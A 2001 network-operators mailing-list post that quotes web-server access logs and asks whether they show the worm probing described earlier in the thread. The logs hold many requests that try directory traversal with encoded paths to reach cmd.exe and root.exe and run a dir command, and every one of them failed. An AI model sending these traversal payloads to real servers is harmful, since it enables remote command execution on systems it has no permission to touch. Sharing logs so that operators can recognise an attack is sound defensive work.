Would it manifest itself something like this in the logs? 03.79.72.4 - - [19/Sep/2001:07:01:31 +1200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 "-" "-" 203.79.72.4 - - [19/Sep/2001:07:01:40 +1200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 "-" "-" 203.79.72.4 - - [19/Sep/2001:07:01:49 +1200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-" 203.79.72.4 - - [19/Sep/2001:07:01:58 +1200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:35 +1200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:36 +1200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:37 +1200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:41 +1200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:42 +1200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 " -" "-" 203.234.139.253 - - [19/Sep/2001:07:13:45 +1200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di r HTTP/1.0" 404 327 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:46 +1200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di r HTTP/1.0" 404 327 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:47 +1200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../ winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:48 +1200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:49 +1200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:58 +1200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:13:59 +1200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:14:00 +1200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:14:10 +1200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 " -" "-" 203.234.139.253 - - [19/Sep/2001:07:14:18 +1200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3 10 "-" "-" 203.234.139.253 - - [19/Sep/2001:07:14:22 +1200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 " -" "-" 203.248.108.135 - - [19/Sep/2001:07:15:07 +1200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 "-" "-" -- Juha :: -----Original Message----- :: From: owner-nznog(a)list.waikato.ac.nz :: [mailto:owner-nznog(a)list.waikato.ac.nz] On Behalf Of Joe Abley :: Sent: Wednesday, 19 September 2001 07:15 :: To: nznog(a)list.waikato.ac.nz :: Subject: [jim(a)cyberjunkees.com: Re: FW: Worm probes] :: :: :: Sorry for the lame cross-list fertilisation, but this seemed like :: a nice comprehensive summary. :: :: I'm getting hit by this big-time, here. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog